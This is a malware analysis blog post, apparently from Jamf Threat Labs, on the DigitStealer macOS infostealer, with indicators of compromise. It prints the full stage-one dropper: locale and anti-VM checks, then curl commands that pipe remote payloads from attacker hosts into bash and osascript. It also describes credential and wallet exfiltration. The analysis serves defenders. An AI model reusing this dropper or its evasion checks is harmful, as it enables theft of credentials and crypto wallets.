Jamf Threat Labs dissects the new DigitStealer malware, a sophisticated macOS infostealer that uses advanced hardware checks and multi-stage attacks to evade detection and steal sensitive data.
By Thijs Xhaflaire
Introduction
During analysis of executable samples collected through our in-house detection rules, Jamf Threat Labs identified a family of malicious stealers that we are tracking under the name “DigitStealer.” Security experts continue to track an expanding ecosystem of these threats, and over time it became evident that most stealers share the same core objectives and follow a fairly linear path to achieve them. Occasionally, however, we see fresh techniques or creative implementations that stand out. Similar to our writeup on the Odyssey infostealer, this blog post will put focus on many of the unique traits of this newly discovered stealer.
The sample that was discovered comes in the form of an unsigned disk image titled “DynamicLake.dmg”, associated with the SHA-256 hash 5c73987e642b8f8067c2f2b92af9fd923c25b2ec. At first glance, it appeared to be another infostealer, leveraging the familiar drag-to-terminal technique to override Gatekeeper and gain initial code execution.
The disk image appears to masquerade as the legitimate DynamicLake macOS utility. The genuine version of this software is code-signed using the Developer Team ID XT766AV9R9, which was not present in this sample. Instead, the fake version is distributed via the domain https[:]//dynamiclake[.]org.
Malware installer
In addition, the sample was fully undetected at the time of analysis, meaning not flagged by any AV engines on VirusTotal.
VirusTotal listing
While the .msi extension file extension used in this sample is likely coincidental, it’s worth noting that this extension is typically associated with Windows-based installers. Its presence on a macOS disk image is unusual and may be an attempt to appear harmless or simply the result of careless packaging by the malware author.
After digging further, we identified a few additional disk images tied to this campaign, which are included in the indicators of compromise (IoC) list below.
The diagram below outlines the malware’s flow from initial discovery to final payload execution and persistence.
Malware workflow
Stage one: the dropper
Let’s take a closer look at the first stage of this attack. Inspecting the contents of the Drag Into Terminal.msi text file reveals a simple bash one-liner that uses curl to retrieve a remote payload and pipe it directly to bash.
curl -fsSL https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx| bash
Inspecting the retrieved payload reveals that it is an obfuscated and base64-encoded script:
First payload
What’s interesting is that the encoded content of the retrieved payload shares some surface-level similarities with MacSyncStealer, such as the use of gunzip. However, once decoded, the payload turns out to be completely different in structure and behavior.
#!/bin/bash
locale=$(defaults read NSGlobalDomain AppleLocale 2>/dev/null | tr '[:upper:]' '[:lower:]')
for country in ru ua by am az kz kg md tj uz ge; do
if [[ "$locale" == *"$country"* ]]; then
exit 1
fi
done
if command -v system_profiler >/dev/null 2>&1; then
HARDWARE_INFO=$(system_profiler SPHardwareDataType 2>/dev/null)
if [[ "$HARDWARE_INFO" == *"Virtual"* ]]; then
exit 1
fi
if [[ "$HARDWARE_INFO" == *"VM"* ]]; then
exit 1
fi
fi
if command -v system_profiler >/dev/null 2>&1; then
MEMORY_INFO=$(system_profiler SPMemoryDataType 2>/dev/null)
if [[ "$MEMORY_INFO" == *"Unknown"* ]]; then
exit 1
fi
fi
HW_MODEL=$(sysctl -n hw.model 2>/dev/null)
if [[ -n "$HW_MODEL" && "$HW_MODEL" != *"Mac"* ]]; then
exit 1
fi
CPU_BRAND=$(sysctl -n machdep.cpu.brand_string 2>/dev/null)
if [[ "$CPU_BRAND" == *"Virtual"* ]]; then
exit 1
fi
KERNEL_VERSION=$(sysctl -n kern.version 2>/dev/null)
if [[ "$KERNEL_VERSION" == *"VM"* ]]; then
exit 1
fi
HOSTNAME=$(sysctl -n kern.hostname 2>/dev/null)
if [[ "$HOSTNAME" == "macos.shared" ]]; then
exit 1
fi
TARGETTYPE=$(sysctl -n hw.targettype 2>/dev/null)
if [[ "$TARGETTYPE" == *"VM"* ]]; then
exit 1
fi
SCHEDULER=$(sysctl -n kern.sched 2>/dev/null)
if [[ "$SCHEDULER" == "clutch" ]]; then
exit 1
fi
if sysctl hw.optional.arm.FEAT_SSBS >/dev/null 2>&1; then
if [[ $(sysctl -n hw.optional.arm.FEAT_SSBS) -eq 0 ]]; then
exit 1
fi
if [[ $(sysctl -n hw.optional.arm.FEAT_BTI) -eq 0 ]]; then
exit 1
fi
if sysctl hw.optional.arm.FEAT_ECV >/dev/null 2>&1 && [[ $(sysctl -n hw.optional.arm.FEAT_ECV) -eq 0 ]]; then
exit 1
fi
if sysctl hw.optional.arm.FEAT_RPRES >/dev/null 2>&1 && [[ $(sysctl -n hw.optional.arm.FEAT_RPRES) -eq 0 ]]; then
exit 1
fi
fi
uuidgen | md5 | ( [ -f /tmp/wid.txt ] && cat >> /tmp/wid.txt || cat > /tmp/wid.txt )
sleep 1
nohup curl -fsSL https://67e5143a9ca7d2240c137ef80f2641d6.pages.dev/054e6893413402d220f5d7db8ef24af0.aspx | osascript >/dev/null 2>&1 &
sleep 1
nohup curl -fsSL https://67e5143a9ca7d2240c137ef80f2641d6.pages.dev/f42bb3a975870049d950dfa861d0edd4.aspx | osascript -l JavaScript >/dev/null 2>&1 &
sleep 1
nohup curl -fsSL https://67e5143a9ca7d2240c137ef80f2641d6.pages.dev/1e5234329ce17cfcee094aa77cb6c801.aspx | osascript -l JavaScript >/dev/null 2>&1 &
sleep 1
nohup curl -fsSL https://67e5143a9ca7d2240c137ef80f2641d6.pages.dev/2bbfdf3250a663cf7c4e10fc50dfc7da.aspx | bash >/dev/null 2>&1 &
This bash script, which is executed entirely in memory, includes a few elements we haven’t commonly seen in similar infostealer payloads.
One notable addition is a locale check. The script reads the NSGlobalDomain AppleLocale value to determine the system’s country setting and exits if it matches certain predefined values, potentially to avoid infecting systems in regions where the threat actors may reside or wish to avoid scrutiny.
Script excerpt checking for the device’s locale
In addition to more common anti-VM and anti-debugging techniques that are known to infostealers, the script introduces a new set of anti-analysis checks targeting Apple Silicon systems. Specifically, it uses a series of sysctlcommands to determine whether the target system is running on an Apple Silicon M2 chip or newer by checking for certain hardware features:
sysctl -n hw.optional.arm.FEAT_BTIreturns 1 on Apple Silicon M2 or highersysctl -n hw.optional.arm.FEAT_SSBSexits if Speculative Store Bypass Safe is not presentsysctl -n hw.optional.arm.FEAT_ECVexits if Enhanced Counter Virtualization is missingsysctl -n hw.optional.arm.FEAT_RPRESexits if the Rounding Mode Preserved feature is not implemented
Script excerpt attempting to prevent analysis
These checks suggest threat actors’ growing awareness of Apple’s hardware feature set and reflect a deliberate effort to restrict execution to specific system configurations. Notably, the malware avoids running on virtual machines, Intel-based Macs, and whether by design or mistake, systems using the M1 chip, even though it is also part of the Apple Silicon family. Instead, it targets devices with newer ARM features introduced with M2 or later.
For more information about these hardware related features, you can visit the apple-oss-distributions related repositories.
Moving on to the remaining crucial parts of the dropper script, we see the use of nohup curl -fSsl to retrieve four separate payloads. nohup is used to ensure the commands continue running even if the terminal session ends or is interrupted. Each payload is executed in memory and passed directly to osascript, JavaScript for Automation (JXA), or bash.
What’s also worth noting is that some of the payloads are hosted on domains using pages.dev. Since this is a legitimate service provided by Cloudflare to build and host static websites, it can be challenging to block outright without risking false positives or collateral disruption.
List of payload hosts
Payload one: plain text AppleScript-based infostealer
The first payload (fetched with nohup curl … | osascript) is a simple, un-obfuscated AppleScript infostealer. After setting up variables it prompts the user for their password.
Infostealer prompting the user for their password
Once a password is entered, the malware performs the following notable actions alongside other common behaviors, listed in order of execution:
- Exfiltrates credentials and files to the attacker domain https[:]//goldenticketsshop[.]com using two endpoints:
/api/credentials(credential submissions) and/api/grabber(file uploads)- A quick note on the domain goldenticketsshop[.]com: it appears to be a typosquatted version of the legitimate goldenticketshop[.]com, likely intended to evade detection or mislead during manual review.
- Runs
tccutil reset Allto reset macOS TCC (privacy) database; may disrupt or re-prompt app permissions state. - Collects small user files (Desktop, Documents, Downloads) and plain-text Notes, zips them, uploads the archive to
/api/grabber, and appends successfully validated passwords to a hidden local file (~/..txt) - Fetches a second AppleScript (ledgerScriptURL) with
nohup curl … | osascriptintended to replace/modify theapp.asarfile for the Electron-based Ledger Wallet/Ledger Live application. It does this using a clever method to achieve this which we will cover soon.
Infostealer requesting access permissions to Finder and Notes
The AppleScript retrieved by the stealer modifies Ledger Live differently than many previous campaigns. Instead of downloading a single zipped replacement, it downloads three separate parts and concatenates them to recreate app.asar,then swaps that trojanized ASAR into the legitimate Ledger Live bundle. This multi-part download/merge technique is potentially used to evade simple single-file detections.
Script merging multiple components to evade single-file detections
By comparing the legitimate app.asar file with the one dropped by the stealer, we observed differences in many of the html and js files, but nothing stood out except thepackage.json, primarily a renaming back to Ledger Live and a downgrade of the version number. The legitimate Ledger Live application has recently been renamed to Ledger Wallet, which may explain the attempt to pass the modified version off as the older, more recognizable name.
Comparison of the malicious and legitimate app.asar file
More information about unpacking app.asar files can be found here. Further details on the Ledger Live modification can be found in the documentation of the third payload. Stay tuned.
Payload two: obfuscated JXA-based Infostealer
The second payload is again fetched using nohup curl, this time piped into osascript -l JavaScript. This results in the execution of a more heavily obfuscated JXA payload.
Second payload
After de-obfuscating the script, it becomes clear that this logic closely mirrors what we’ve typically seen in AppleScript-based stealers. It’s interesting to see this functionality split out into a separate stage, likely as an attempt to reduce detection by breaking up indicators across multiple payloads.
Second payload, deobfuscated
Since most of the behavior here is already well-documented, we won’t go too deep into the details. However, this payload performs several key actions, including zipping and exfiltrating the following:
- Browser data from Chrome, Brave, Edge, Firefox and others
- Cryptocurrency wallet files from Ledger, Electrum, Exodus, Coinomi and more
- Keychain database from ~/Library/Keychains/login.keychain-db
- VPN configurations from OpenVPN and Tunnelblick
- Telegram tdata folder
Payload three: obfuscated JXA Ledger Live replacement
The third payload brings us back to the Ledger Live tampering we touched on earlier. Like the previous stages, this payload is fetched using nohup curl and piped into osascript -l JavaScript. It’s another obfuscated JXA script, although noticeably smaller than the second one.
After deobfuscation, it’s clear that this payload is specifically designed to target Ledger Live. The script does the following:
- Points Ledger Live to an attacker-controlled endpoint, likely to exfiltrate wallet data (seed phrases) or serve malicious configuration
- Terminates any currently running Ledger Live process
- Reads the file at ~/Library/Application Support/Ledger Live/app.json
- Replaces or modifies the data.endpoint object with attacker-supplied values, including a URL, device IDs and hardware identifiers
- Writes the modified JSON back to disk
- Returns true on success, false on failure
Third payload, deobfuscated
Payload four: persistent backdoor via Launch Agent and obfuscated JXA
To close the loop, there is one final payload to review. A modern infostealer would not be complete without implementing persistence and, in this case, a backdoor as well.
The method used to fetch this payload is identical to the previous ones. However, this time the content is piped directly into bash. A quick inspection reveals that the script drops and loads a persistence item in the form of a Launch Agent on the target system
Fourth payload
What stands out here is that the persistence item does not contain a static payload. Instead, it dynamically retrieves its payload each time it runs. This method of fetching a value from a TXT record hosted on the https[:]//goldenticketsshop[.]com domain is not something we have previously observed in macOS infostealers.
TXT record retrieving the backdoor payload
After inspecting the TXT record being fetched, we can see that it contains the endpoint used to retrieve yet another payload. In this case, it is the backdoor.
The payload is yet another obfuscated JXA script, and it turns out to be quite an interesting one.
Final payload
This final payload functions as a persistent JXA agent that continuously polls the attacker’s command and control server at goldenticketsshop.com for new AppleScript or JavaScript payloads to execute. It runs in an infinite loop, checking in approximately every 10 seconds and sending the system’s hardware UUID, hashed with MD5, to https[:]//goldenticketsshop.com.
Conclusion
After analyzing this latest variant, the authors behind these macOS infostealers continue to explore new techniques to improve stealth, persistence and targeting. From splitting payloads across multiple stages to using hardware-based sysctl checks that avoid execution on specific target systems, this campaign shows a growing level of sophistication in how threats are built for macOS.
Attribution for this specific variant remains unclear currently. However, the techniques used suggest a deeper understanding of the macOS operating system and a continued focus on evading detection.
It serves as another reminder that malware authors are abusing legitimate services and distribution methods to bypass macOS security controls and improve their chances of success. While static detection remains valuable, pairing it with behavioral detection is essential to catch the signs of infostealer activity in real time. Many of these payloads execute entirely in memory and leave little to no trace on disk.
We recommend customers ensure that threat prevention and advanced threat controls are enabled and set to blocking mode in Jamf Protect to stay protected against these latest infostealer variants.
Indicators of compromise
Indicators of compromise are listed below. You can also explore the full collection on VirusTotal.
Filename: DynamicLake.dmg
SHA256: da99f7570b37ddb3d4ed650bc33fa9fbfb883753b2c212704c10f2df12c19f63
Note: Disk Image containing the Drag into Terminal.msi
Filename: Drag Into Terminal.msi
SHA256: abd54b02695338b554def160008038b5c9fd124bb84b26984bab969d91f9d96b
Note: Bash script disguised as .msi, used to curl and execute payloads, seen in DynamicLake.dmg
Filename: DynamicLake_2.dmg
SHA256: ea9e548b27e07d068449cd44b68cf086a652c4bee0080af19da1c9f988bd0897
Note: Less sophisticated variant of DynamicLake.dmg, still contains the Drag into Terminal.msi
Filename: Drag Into Terminal.msi
SHA256: fb3e5b804ca57b71368c7dfffcf8f20a7d66266bb6d36146163b9ec80e31aafe
Note: Bash script disguised as .msi, used to curl and execute payloads, seen in DynamicLake_2.dmg
Filename: GoogleDriver.dmg
SHA256: 4832942ec7d8a80b4b30e3c9ed5d9e0e4a0e3d19aeaedb3fdbdcc266ba3a560c
Note: Less sophisticated variant of DynamicLake.dmg, still contains the Drag into Terminal
Filename: Drag Into Terminal.msi
SHA256: 440b91df67389e2421dc32e878c38926d21f197f2982f2e446497cf3ab20ce8f
Note: Bash script disguised as .msi, used to curl and execute payloads, seen in GoogleDriver.dmg
Filename: goldenticketsshop.com.plist
SHA256: 44b7264e9eef816df876d0107b4f26384b01c4d237950f5c5f655569f7902509
Note: LaunchAgent persistence file retrieved by the final stage payload
Filename: modified_app.asar
SHA256: b240c906ebbe27adf83aba1c13d70cd6d778681e10680d8a6b1dc18e5af5c274
Note: Modified app.asar from Ledger Live containing injected C2 configuration
Filename: payload_1_ledger_live.scpt
SHA256: ff6959cf92bce91b4f51651f5c3ef16c263095bc7d7f017ea402db1b79e9ece4
Note: AppleScript payload targeting Ledger Live
Filename: payload_1_stealer.scpt
SHA256: 498d271d695e424bfd7f9ad1ead187ef0ac62fa8908c6e1f239db495371ff237
Note: AppleScript-based information stealer
Filename: payload_2_obfuscated_wallet_crypto_JXA_stealer.scpt
SHA256: 7bf9609b351b38d8a54d5c0e9759fcfb21157beeac343452c129bcbbe9ee6b02
Note: Obfuscated JXA-based crypto wallet stealer
Filename: payload_2_wallet_crypto_JXA_stealer.scpt
SHA256: 226cbbf43d9bcedcc5ab69e51e5cce2f4ca841aa7ab39fdf974766203e2c9b66
Note: Deobfuscated version of the JXA-based crypto wallet stealer
Filename: payload_3_ledger_live_injection_JXA.scpt
SHA256: d1b9f14565a0aec33cc17b4db86d92df00b00232725791567ee34f107dac810a
Note: JXA payload responsible for modifying Ledger Live’s configuration
Filename: payload_3_obfuscated_ledger_live_injection_JXA.scpt
SHA256: 05bee860231a9686ea9205bc43cd09a31155a4d191390594a8e308d6d36eeb2f
Note: Obfuscated version of the Ledger Live injection payload
Filename: payload_4_LaunchAgent_bash.sh
SHA256: 5420a25fdd6cb6484ab3687c6bba750b40007730eb4232088b668eff0de2c072
Note: Bash payload that drops and loads LaunchAgent persistence
Filename: payload_4_obfuscated_persistent_backdoor_JXA.sh
SHA256: 12e630d6041eb7322901150079c0d0fdbd47b0098dc5cb0f2de23b6e8d5082e1
Note: Obfuscated JXA payload acting as a persistent backdoor
Filename: payload_4_persistent_backdoor_JXA.sh
SHA256: b8e80185aee2584231c872acc67dfbfeb64b148d07ea1e1aa99668bd849b95a7
Note: Deobfuscated version of the JXA persistent backdoor
Filename: stage_1_dropper_bash.sh
SHA256: fb237b161fe39322440f5e7e5f8cce5f969ebe179a81342aec94c0697a0bd364
Note: First stage dropper script executed by the Drag into Terminal.msi
URL: https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/c9c114433040497328fe9212012b1b94.aspx
Note: Endpoint used in initial curl command (Drag to Terminal)
URL: https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/054e6893413402d220f5d7db8ef24af0.aspx
Note: First stage payload piped to osascript
URL: https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/f42bb3a975870049d950dfa861d0edd4.aspx
Note: Second stage payload piped to JXA
URL: https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/1e5234329ce17cfcee094aa77cb6c801.aspx
Note: Third stage payload piped to JXA
URL: https[:]//67e5143a9ca7d2240c137ef80f2641d6.pages[.]dev/2bbfdf3250a663cf7c4e10fc50dfc7da.aspx
Note: Fourth stage payload piped to Bash
URL: https[:]//goldenticketsshop[.]com
Note: Domain used to host C2 infrastructure and payloads
URL: https[:]//goldenticketsshop[.]com/api/credentials
Note: Endpoint used for sending stolen credentials
URL: https[:]//goldenticketsshop[.]com/api/log
Note: Endpoint used for exfiltration by the second payload
URL: https[:]//goldenticketsshop[.]com/api/grabber
Note: Endpoint used to upload stolen files (Desktop, Documents, Notes)
URL: https[:]//sweetseedsbeep[.]com
Note: Domain injected into Ledger Live’s configuration file by JXA payload
Filepath: ~/Library/Application Support/Ledger Live/app.json
Note: Modified by third-stage payload to redirect traffic to attacker C2
URL: https[:]//f0561b4e3c1308eeb8cdd23016ed86ec.pages[.]dev/0293357d93632edc913fcc8f5c40bfd0.aspx
Note: Domain used in LaunchAgent, retrieved via TXT record from goldenticketsshop[.]com
URL: https[:]//goldenticketsshop[.]com/api/poll
Note: Persistent backdoor polling endpoint, sending MD5-hashed hardware UUID every ~10 seconds
URL: https[:]//nevadabtcshill[.]com
Note: Domain used to host C2 infrastructure and payloads, seen in the GoogleDriver.dmg
URL:https[:]//f8b2ef8b94b215ce04836d1c47b556ba.pages[.]dev/1c9e2dffde32a91a712e06282a938ba3.aspx
Note: URL seen in GoogleDriver.dmg
URL:https[:]//f8b2ef8b94b215ce04836d1c47b556ba.pages[.]dev/0533ae5df654f42b933c41e76680720f.aspx
Note: URL seen in GoogleDriver.dmg
URL:https[:]//f8b2ef8b94b215ce04836d1c47b556ba.pages[.]dev/0eea30b1116586c6872367fb2b711205.aspx
Note: URL seen in GoogleDriver.dmg
URL:https[:]//f8b2ef8b94b215ce04836d1c47b556ba.pages[.]dev/f2c70c5a2e208714eca43cbddb3cac82.aspx
Note: URL seen in GoogleDriver.dmg
URL: https[:]//ledgmanyman[.]com
Note: Domain injected into Ledger Live’s configuration file by JXA payload, seen in GoogleDriver.dmg
Dive into more Jamf Threat Labs research on our blog.













